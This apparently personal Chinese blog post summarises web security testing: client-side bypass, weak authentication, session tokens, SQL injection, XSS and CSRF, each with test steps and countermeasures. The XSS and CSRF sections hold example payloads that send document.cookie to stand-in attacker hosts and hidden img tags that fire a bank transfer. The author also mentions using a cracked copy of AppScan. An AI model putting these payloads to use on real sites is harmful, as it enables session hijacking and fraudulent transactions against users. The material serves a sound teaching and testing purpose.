安全测试的一些漏洞和测试方法

最近领导让做安全测试，从网上下了一个破解版的appscan，然后开始测试，测试结果也给了一些修改建议。然后领导让整理了一下安全测试的一些漏洞和测试方法，我基本按照LoadRunner性能测试巧匠训练营的后面的安全测试，稍做修改，这里发上来做保存。

一、绕过客户端漏洞

1.      HTML验证

通常人们认为，HTML验证不是一种安全的验证方法。这种验证只能帮助那些不知道该如何填写表单、如何输入的用户缩短服务器处理时间。作为攻击者，可以用各种方法轻易地绕过这种机制。任何客户端验证都应该复制到服务器端。这将大大减少不安全的参数在应用程序使用的可能性。

1. 隐藏表单字段

隐藏的HTML表单是一种看上去无法修改，通过客户端传送数据的常用机制。如果一个表单字段标记为hidden或readonly,那么它就无法编辑，是完全隐藏的，不会在屏幕上显示。但是提交表单时，保存在表单中的字段名称和值仍然被提交给应用程序。这时，如果用发送接口或用调试工具可以轻易改变表单中的隐藏字段并发送给服务器，所以相关的隐藏字段的值在服务器端必须验证。

1. HTTP cookie

与隐藏表单类似，HTTP cookie并不显示在用户屏幕上，也不可直接修改。而早期有些网站对于不同的会员等级会有不同的折扣，判断是否享有折扣就用cookie来传达。例如，有些早期的电商网站最早对金牌会员的折扣就是用cookie来传达的，类似在用户登录后返回一个响应。如下：

HTTP/1.1 200 OK

Set-Cookie:DiscountAgreed=20

一些攻击者可以利用工具或者不通过浏览器修改cookie的值，达到非法目的。

1. URL参数

应用程序有可能会使用预先设定好的URL参数通过客户端传递数据。例如：

http://127.0.0.1/shop/1.html?quantity=1&price=449

当然，这个URL不一定直接显示在浏览器地址栏中，也可能通过包含参数的URL加载框架内容或用弹窗等其他方法隐藏地址栏，这时仍可以通过拦截代理服务器来捕获任何一个不规范的URL参数，从而修改某些参数，以达到绕过的目的。

1. 加密数据

有时候，通过客户端传送的数据是通过加密或者某种形式的模糊处理的，并不以明文显示。如通过拦截代理服务器得到这样一组数据”D61E4BBD6393C9111E6526EA173A7C8B”，传送的参数为：quantity=1&price=D61E4BBD6393C9111E6526EA173A7C8B,有几种方法可以实施攻击：

1）破解：看是否是base32、base64、MD5等基本加密方式，通过decode或彩虹表判断，成功破解后修改值进行攻击

2）如果完全无法理解，仍可以重新传送它的值，如抓取另一款较便宜的产品的price进行替换，无视其模糊处理

二、攻击验证机制

验证机制常被看作是防御Web恶意攻击的核心机制。它处于Web安全防御阵线的最前沿，如果攻击者可以轻松突破验证机制，那么系统的所有功能、数据甚至账户余额等私密信息都会被攻击者控制。验证机制是其他所在安全机制的前提，如果验证机制无法阻止攻击，那么其它的安全机制也大多无法实施。

验证机制常用的漏洞主要有：

1. 密码保护性不强

1）非常短或空白密码

2）以常用字典词汇为密码

3）密码与用户名完全相同

4）长时间使用默认密码

1. 暴力攻击

登录功能往往是完全公开的，这样的机制可能会诱使攻击者试图利用枚举来猜测用户名和密码，从而获得访问应用程序的权利。如果应用程序允许攻击者用不同的密码暴力尝试，直到他找到正确的密码，这个程序就非常容易受到攻击。

应对暴力破解，常采用的一些安全措施：

1）验证码

验证码方式虽无法完全避免被暴力破解，但也可以使多数随意的攻击者停止攻击行动，转而攻击较容易的应用程序。

2）cookie检测

例如，有一些应用程序会设置一个cookie,如failedlogin=0;登录尝试失败，递增该值，达到某个上限，检测到这个值并拒绝再次处理登录。

cookie检测只能防止使用浏览器手动攻击，用专门的工具进行攻击就可以轻易避开。

3）会话检测

与cookie检测类似，将失败计数保存在会话中，虽然在客户端没有标明该漏洞存在的迹象，但只要攻击者获得一个新的会话，就可以继续实施暴力攻击。

4）失败锁定账户

有些应用程序会采取登录达到一定次数后锁定目标账户的方式。但是有可能通过分析其响应，在锁定账户的状态下仍可以进行密码猜测攻击。

1. 双因子认证

是指结合密码以及实物(信用卡、SMS手机、令牌或指纹等生物标志）两种条件对用户进行认证的方法。其核心是综合个人密码和通常为手机来达到双重认证的效果。目前很多电商、银行都采用了该认证方式。

该方法的最大缺点是构建双因子认证的成本较高、服务器的压力也比较大。

1. 过于详细的失败信息

过于详细的失败信息，就会降低攻击者攻击的难度。如提示密码错误，就可以猜测有这个用户名。

1. 密码修改功能

成熟的系统除了用户登录，往往会提供密码修改功能，但是在编码过程中，我们往往忘记了这个功能中也会存在一些安全隐患。

密码修改功能中常见的安全漏洞包括：

1）密码修改功能是否拥有隐藏的后台接口，如不通过登录直接可以访问该功能

2）是否可以使用不符合标准的密码，如弱密码等

3）密码修改的请求提交时，是否用户名也随之提交？如果提交，是否可以通过修改用户名来达到修改非当前登录用户密码的目的？

1. 忘记密码功能

当前互联网网站大多提供”忘记密码”功能，但是其中往往会存在一些典型的安全问题，其核心问题就是忘记密码的流程跳过了身份验证。会有以下几种可能：

1）需要确认应用程序中是否有隐含的忘记密码功能或不通过用户名查询即可访问的情况

2）如果恢复机制使用质询方式，则确定用户能否枚举用户名来得到质询信息，与猜测密码相比，响应质询更容易

3）如果在忘记密码的请求响应中生成一封包含恢复URL的电子邮件，获取大量此类的URL并试图分析和预测其发送URL的模式，是否可以得到其他未知用户的恢复URL

4）无论是使用邮件，还是发送手机验证码，查看是否可以拦截请求以修改目标邮箱或手机号，从而达到绕过的目的。

1. 用户伪装或”留后门 “

应用程序有时可能会允许特权用户伪装成其他用户，例如某些电商网站拥有类似OOB(on order behalf)的功能，超级管理员可以伪装成任意用户来帮助其执行某些操作。

伪装功能设计可以存在以下漏洞：

1）网站可能通过严格的权限控制(只有超级管理员才可以访问的功能模块)或是隐藏的链接(只有超级管理员才知道)的方式执行，例如在网站中有一个特殊的URL可以链接到一个不需要核对用户身份的页面执行部分操作。这时攻击者可以尝试使用枚举URL或者使用爬虫，从而拦截到该功能，劫持所有用户。

2）有些伪装功能以后门密码形式执行，也就是说，对于一个普通用户，除去该用户设置的密码外，还拥有一个”万能密码”。这种设计可能招致暴力破解，攻击者攻击成功后可以获取所有用户的密码。

1. 多阶段登录

在日常的网络应用中，经常发现一些多阶段登录的功能，如在输入用户名、密码后，可能会要求你验证一个私密问题，通过后方可登录。这样的设计毫无疑问会增加验证机制的安全性，但是，这样的过程也可能产生更多的缺陷。

1）程序可能会认为，用户一旦访问到第二阶段，就已经完成第一阶段的验证，那么可能会允许攻击者直接进入第二阶段

2）程序可能认为，在两个阶段的执行过程中，用户身份不会发生任何变化，于是并没有在每个阶段都确认用户身份。例如，第一阶段提交用户名和密码，第二阶段可能需要重新提交某个私密问题答案和一些个人信息。如果攻击者在进行第二阶段时提供了有效的数据，但是不同于第一阶段时的用户，那么程序可能会允许用户通过验证。

三、攻击会话管理

会话管理机制的安全漏洞主要在会话令牌生成过程中和在整个会话生命周期过程中。令牌生成过程中的主要漏洞就是令牌可以被构造。其中包含两种漏洞，一种是令牌含义易读，也就是没有进行加密或者加密了但可以被解密成可读字符，另外一种是令牌可以被预测，可能包括一些隐藏序列、时间戳等。在整个会话生命周期中，可以通过获取别人的token或sessionid来访问。

四、SQL注入攻击

几乎每个Web网站应用都需要使用数据库来保存操作所需的各种信息，所以Web程序经常会建立用户提交的数据的SQL语句。如果建立这种语句的方法不安全，攻击者就可以通过把SQL命令插入Web表单、URL等位置的方式，最终将SQL命令随页面请求提交至服务器，达到欺骗服务器执行恶意SQL命令的目的。

原理：

构造SQL语句，如加入”’”闭合SQL语句或加入#注释将后面的验证字段注销或加入or使SQL语句的判断条件永远为True绕过验证。

危害：

1）探知数据库的具体结构，为进一步攻击做准备

2）泄露数据尤其是机密信息、账户信息等

3）取得更高权限，来修改表数据，甚至是内部结构

预防机制：

1）参数化用户输入字段，同时过滤掉那些非法字符

2）降低用户组的权限，受到攻击后不至于受到重大损失

五、跨站脚本攻击（XSS攻击)

在Web应用中，恶意攻击者将某些攻击代码植入提供给用户查看或使用的页面中，当用户在打开网页时，恶意脚本就会执行。这类攻击通常通过注入HTML和JS等脚本发动攻击。攻击成功后，攻击者可以得到私密网页内容以及cookie等。简单来说，XSS攻击发生的核心原因是未正确处理用户提交的数据，从而使恶意脚本代码得以提交和执行。

XSS攻击危害巨大，通常被用来盗取会话令牌，篡改甚至删除重要数据和资料，伪装用户进行非法操作和非法转账。

XSS漏洞分三类，分别为反射式XSS，存储式XSS和基于DOM的XSS

1)         反射式XSS

反射式XSS是目前最常见的XSS攻击类型，也称为非永久性XSS攻击。若服务器直接使用客户端提交的数据，如URL中包含的参数、HTML表单中的提交数据等，并没有对这些数据进行无害化过滤。如果提交的数据中含有恶意脚本没有正确处理，那么一个简单的XSS攻击就会发生。

典型的反射式攻击可以利用邮件或中间网站，诱铒是一个看起来可信任的站点的链接，其中包含 XSS攻击脚本，如果信任的网站没有正确处理这个脚本，用户点击后就会导致浏览器执行含有恶意攻击的脚本。举一个典型的案例可以帮助理解：

用户A在浏览某个为B让你拥有的网站http://www.sample.com,A使用用户名/密码进行登录，并存储了某些敏感信息（个人信息及银行账户信息等）。

C发现B的站点包含一个反射性的XSS漏洞，C编写了一个可以利用该漏洞的URL，并将其冒充为来自B的邮件发送给A。

http://www.sample.com/test.aspx?message=<script>var+i=new+image;i.src=http://c.et/%2bdocument.cookie;<script>

A点击了C提供的URL并登录，嵌入在URL中的恶意脚本在A的浏览器中执行，就像它直接来自B的服务器一样。此脚本盗窃敏感信息（会话及个人信息等），在A完全不知情的情况下，向C的Web站点发起一个带有敏感信息的请求，C监控访问http://c.net的请求便可截获A的会话令牌。

2)         存储式XSS

存储式XSS也称为永久性XSS，危害更大。攻击者将攻击脚本上传到Web服务器上，使得所有访问该页面的用户都面临信息泄露的可能，其中也包括了Web服务器的管理员。

典型例子：

在一个交友网站上，一个人在个人信息上写上一段脚本，例如：

<script>window.open(http://www.mysite.com?yourcookie=document.cookie)</script>

而该网站没有对该段内容进行正确编码，那么网站其他用户看到这个用户信息页时，就会将当前的cookie提交到该用户的Web站点上。

3)         基于DOM的XSS攻击

反射式的XSS攻击和存储式XSS攻击有一定的相似之处，二者都是将用户数据提交到服务器端，服务器以不安全的方式将其返回给用户。基于DOM的XSS攻击仅通过js的方式执行。

基于DOM的XSS攻击常发生在应用程序每次返回相同的静态HTML，而通过客户端javascript动态生成信息时。

XSS攻击的测试方法：

探测是否存在XSS漏洞的基本测试方法是使用一个概念验证攻击字符串：

><script>alert(document.cookie)</script>

这个字符串被提交给每个应用程序页面的每一个参数，同时测试者监控所有请求的响应，看响应中是否返回这个相同的字符串，如果发现攻击字符串中按原样出现在响应中，就几乎可以肯定应用程序存在XSS漏洞。

XSS的防范措施：

1）输入确认：如果应用程序收到某个用户请求，其中提交的数据将来有可能被复制到它的响应中，应用程序需要对这些数据执行尽可能严格的确认。例如，过滤非法字符(<>’’”%等)、添加白名单、根据不同的字段设置不同的确认规则等。

2）输出编码： 如果应用程序已经将某些用户提交的数据复制到它的响应中，那么应用程序应对这些数据进行HTML编码，以净化可能存在的恶意字符。这样做可以最大程度地确保浏览器安全地处理潜在的恶意代码，将它们转化成HTML文档的内容而进行处理。

六、跨站脚本伪造(CSRF攻击）

尽管听起来像跨站脚本，但它与XSS非常不同，并且攻击方式几乎相左。XSS是利用站点内的信任用户，获取用户的cookie等私密信息；而csrf则不去获取用户的任何信息，只是通过伪装为来自受信任的用户的请求，通过社会工程学的手段（如通过聊天工具发送一个链接或被处理过的包含跳转的图片等）来蛊惑用户进行一些敏感性的操作，如修改密码、转账等，而用户还不知道自己已经中招。

CSRF的破坏力依赖于受害者的权限。如果受害者只是一个普通的用户，则一次成功的CSRF攻击会危害用户的数据、账户及一些功能；如果受害者具有管理员权限，则一次成功的CSRF攻击甚至会威胁到整个网站的安全。

一个典型的CSRF例子：

A登录了一个银行网站testbank.com，准备进行查询和网上转账。B通过自己的分析和攻击尝试，了解到这个站点的转账功能有某个CSRF漏洞。于是，B在自己的博客上发表了一条博客，并且在博客中插入了提前构造好的一行HTML代码。

<img src=http://testbank.com/transferMoney.jsp?to=B&cash=6000 width=”1” height=”2” border=”0” />

CSRF攻击的测试方法：

一般来说，测试人员需要对Web应用的一些核心功能进行CSRF检测，那么首先需要确定哪些功能需要进行CSRF检测。不同的应用有不同的标准，但有些核心功能基本每个Web应用中都有，而且十分关键。例如：

1）修改密码、

2）对私密信息及数据的修改、删除功能

3）与金钱相关的功能，如购物车、团购等

在进行如上功能CSRF测试的时候，可以假定自己同时具备两个身份：攻击者和受害者，然后按照下面的步骤进行操作。

1）用受害者身份登录，然后进行某个重要功能的操作，假设进行转账，URL为：http://localhost/adduser?transferMoney.jsp?to=someone&cash=6000.

2）以攻击者身份构造这个重要操作的URL,如可以写为：<img src=”http://localhost/adduser?transferMoney.jsp?to=someone&cash=6000” width=”1” height=”1” border=”0” />

3）在确保受害者登录的情况下，让受害者点击攻击者构造的URL或生成的图片

4）检查结果：服务器是否执行了你的请求。如果执行了，说明了那个重要功能存在CSRF漏洞。

CSRF攻击常用的防范措施

1）增加一些确认操作

比如说上面的转账功能，当用户调用银行系统api进行转账的时候，弹出一个对话框，如你确认要转账6000元吗？这样csrf受害者就可以知道他中招了。

2）重新认证

执行一些重要敏感的操作时，可以要求用户重新输入密码，或者单独输入一个支付密码以及手机验证码等进行二次认证，只有正确了才能继续操作。这种做法显然更安全，但对于用户来说，易用性差了一些。

3）session失效

建立一个尽量短一些的会话不活动超时机制

4）设置token

a. 在用户每一次登录后，产生一个新的不可预知的CSRF Token，并且把此Token存放在用户的session中

b. 进入某功能模块，发现存在一个需要保护的表单，则需要增加一个隐藏字段来存放这个Token，同样，对于需要保护的URL，增加一个参数来存放些Token。

c. 提交此请求的时候，在服务器端通过请求提交的Token与用户session中的Token是否一致，如果一致，处理请求，否则返回一个错误信息给用户。

d. 在用户退出或者session过期的时候，用户信息（包括CSRF Token)从session中移除并销毁session